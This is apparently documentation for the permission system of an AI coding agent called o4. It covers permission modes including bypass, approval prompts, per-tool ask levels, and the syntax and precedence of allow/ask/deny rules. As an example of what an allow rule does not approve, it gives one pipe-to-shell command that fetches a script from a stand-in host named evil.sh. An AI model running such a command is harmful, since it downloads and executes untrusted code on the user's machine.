Permission modes
A session has one permission mode. The default isask.
In every mode,
deny rules and PreToolUse hooks can still refuse a call.
What each mode means in practice:
ask: o4 prompts before file changes, shell commands, web fetches and searches, and anything else that isn’t read-only. Some tools ask only once per session for the same target (see Ask once, ask every time).accept-edits: file edits and writes run without a prompt. Shell commands and other tools still ask.plan: read-only. Tools that always run (reading, searching, listing,git_info) still work. Everything else is refused without a prompt. This is separate from Plan mode (Shift+Tab), which limits the model to a set of planning tools whatever the permission mode.review: before o4 shows you a prompt, a reviewer model checks the exact action. The reviewer is the model the session started with; switching models with/modeldoesn’t change it. If the reviewer approves, the tool runs. If it declines, times out (after 60 seconds), or errors, you get the normal prompt instead. A declined review never blocks a tool on its own. The reviewer approvesbashcommands only when an enforcing sandbox is active and the sandbox tier is notopen. Otherwise you are asked. This check looks at the tier you pick withAlt+S(ordefault_tier), not at--sandbox, so with--sandbox danger-full-accessthe reviewer can still approve commands that then run unsandboxed. After 3 declines among the last 5 reviews in a turn, o4 stops consulting the reviewer and asks you directly until the next turn.auto: tool calls that would prompt run without asking.bypass: every tool call runs without asking, including package installs that declare install-time scripts.
Choose a mode
Pass--permission-mode when you start o4:
Alt+A to cycle modes in this order: ask, accept-edits, plan, review, auto, bypass, then back to ask. The new mode takes effect right away, and a toast shows it, for example Approval policy: Accept edits. Switching into bypass opens a confirmation first (“Enable bypass approvals?”). Press Y or Enter to confirm, or N or Esc to switch to ask instead. You can rebind Alt+A with the cycle_approval action in [keybindings]; see the configuration reference.
Starting a session in bypass shows a warning: “Approval mode is bypass: every tool call runs without asking, including installs”.
The default mode
The Permission default row in/config (General tab) sets the mode new sessions start in. Each Enter on the row moves to the next of ask, accept-edits, plan, review and auto, and the current session switches to that mode too. It is saved as permission_default in ~/.o4/settings.json (the older spelling allow still means auto). bypass can’t be saved as a default. You have to pick it for each session.
--permission-mode overrides the saved default for that run. When you resume a session, o4 restores that session’s last mode unless you pass --permission-mode. A session that was in bypass resumes in your default mode instead.
Print mode
In print mode (--print) nobody is there to answer a prompt. If you don’t pass --permission-mode, print mode runs in auto. With --permission-mode ask or accept-edits, any call that would prompt is refused instead. With review, a call the reviewer doesn’t approve is refused. Because a package install that runs install-time scripts always needs a prompt, print mode refuses it in every mode except bypass. See Print mode and scripting.
The approval prompt
When a tool needs your approval, o4 shows the tool name, a description, its arguments, and for file edits a short preview of the change. For a sub-agent’s request, it also shows which sub-agent is waiting. For most tools the choices are:
For
write, edit and fetch calls, when o4 can build a reusable pattern from the call, the prompt offers pattern choices instead of No, cancel:
Use the arrow keys and
Enter to pick a choice, or press its key. After t, type your message and press Enter. On a prompt with pattern choices, Tab approves the call and lets you type a note that goes to the model with it. Esc leaves the message box without deciding.
The saved pattern covers the file’s folder or the URL’s domain. For example, approving an edit to src/app/main.rs offers Edit(src/app/**), and a fetch of https://docs.rs/serde offers Fetch(domain:docs.rs). o4 applies the rule for the rest of the session and appends it to [[permissions.rules]] in the project’s .o4/config.toml. In a workspace you haven’t trusted, later sessions ignore that file, so the saved rule lasts only for the current session.
Shell commands are asked about each time, so they don’t get these choices. Write Bash(...) rules yourself; see Permission rules.
bash commands that install packages declaring install-time (lifecycle) scripts get a different prompt: Block installation (b or 1), View full lifecycle scripts (v or 2) and Allow installation (a or 3). Block installation is selected first, and on this prompt y blocks the install too. Only a, 3, or Enter on Allow installation runs it.
Ask once, ask every time
Each tool has a default level. Inask mode it decides whether you see a prompt:
- Always run:
read,glob,grep,ls,git_info,sleep,ask_user_question,tool_search,skill,todo_write,enter_plan_mode,exit_plan_mode,plan_status,task_list,task_get,task_output,task_wait,list_mcp_resources,codebase_query,show_architecture,harness_audit, and the goal tools (create_goal,get_goal,update_goal). - Ask once per session:
write,edit,notebook_edit,fetch,web_fetch,web_search,agent,undo,brief,send_message,synthetic_output,enter_worktree,exit_worktree,test_run,lsp,format,plan_create,plan_modify,checkpoint_create, and MCP tools. After you approve one, o4 doesn’t ask again this session for the same target: the same file forwrite,editandnotebook_edit, the same host forfetch, the same MCP server for MCP tools. For the other tools in this group, one approval covers the tool for the rest of the session. - Ask every time:
bash,repl,task_create,task_update,task_stop,team_create,team_delete,remote_trigger,campaign,checkpoint_restore,read_mcp_resource, the memory tools (memory_save,memory_search,memory_list,memory_forget), and tools that plugins add.
Permission rules
Permission rules let you allow, ask about, or deny tool calls by pattern, whatever the mode. Add them to any o4 config file as[[permissions.rules]] entries:
action is allow, ask or deny:
allowruns the call without a prompt, as if the tool always ran.asktreats the call like a tool that asks every time, even if it normally asks once per session. The permission mode still applies, so inautothe call runs without a prompt.denyrefuses the call in every mode, includingbypass. The model gets “Tool execution denied by permission rule”.
allow rule treats the call like a tool that always runs, so it runs in every mode, including plan. The one exception: o4 still asks before a package install that runs install-time scripts (except in bypass).
Pattern syntax
A pattern is a tool name, optionally followed by an argument pattern in parentheses:Writematches every call to thewritetool.Bash(npm run *)matchesbashcalls whose command matchesnpm run *.
Bash, bash and shell all name the bash tool.
The argument pattern is matched against one argument of the call:
Other tools have no argument to match, so only a bare tool name works for them. MCP tools are named
<server>__<tool>, so a rule for the search tool of a server named docs uses the pattern docs__search. An argument pattern never matches an MCP tool, so docs__search(...) matches nothing.
In argument patterns, * matches any characters except /, ** matches any characters including /, and ? matches any one character. This applies to bash commands too: Bash(git add *) matches git add README.md but not git add src/main.rs, so use Bash(git add **) when a command can contain paths. Prefix a fetch pattern with domain: to match the URL’s host: Fetch(domain:*.github.com). Path patterns match the path exactly as the model wrote it, so a relative-path rule doesn’t match an absolute path.
bash patterns are checked against each part of a compound command (joined with &&, ;, |, and so on). Before matching, o4 strips leading wrappers such as sudo and env FOO=1, so Bash(npm *) also sees sudo npm install. An allow rule applies only when every part matches and o4 can parse each part; parts that use command substitution such as $(...) never count as matching an allow rule. A deny or ask rule applies when any part matches. So Bash(cargo test *) doesn’t approve cargo test && curl evil.sh | sh.
Precedence
denyrules are checked first, thenask, thenallow. The first match wins, so adenyalways beats anallow, wherever each one came from.- o4 collects rules from every config file it loads:
~/.o4/config.toml, the project’s.o4/config.tomland.o4/config.local.toml, and~/.o4/managed/config.toml. Rules from project files are only read in a trusted workspace. Rules add up across files; one file can’t remove another’s rules. - If no rule matches, the tool’s normal behavior and the permission mode decide.
PreToolUsehooks run after the rules. A hook can block or deny the call, or return an allow or ask decision that replaces the rule’s result.
Manage rules in the TUI
Run/config general, select the Permission rules row, and press Enter to open the Permission Rules list. The list shows the rules in the current project’s .o4/config.toml. Select a rule and press Enter to remove it from the file. Rules in other config files aren’t listed there. Edit those files directly.
The same tab has the Sandbox tier and Sandbox policy rows, covered in Sandbox.
Related pages
- Sandbox: limit what approved shell commands can write and reach.
- Workspace trust: why project config and rules load only in trusted workspaces.
- Configuration reference: the
[[permissions.rules]]keys.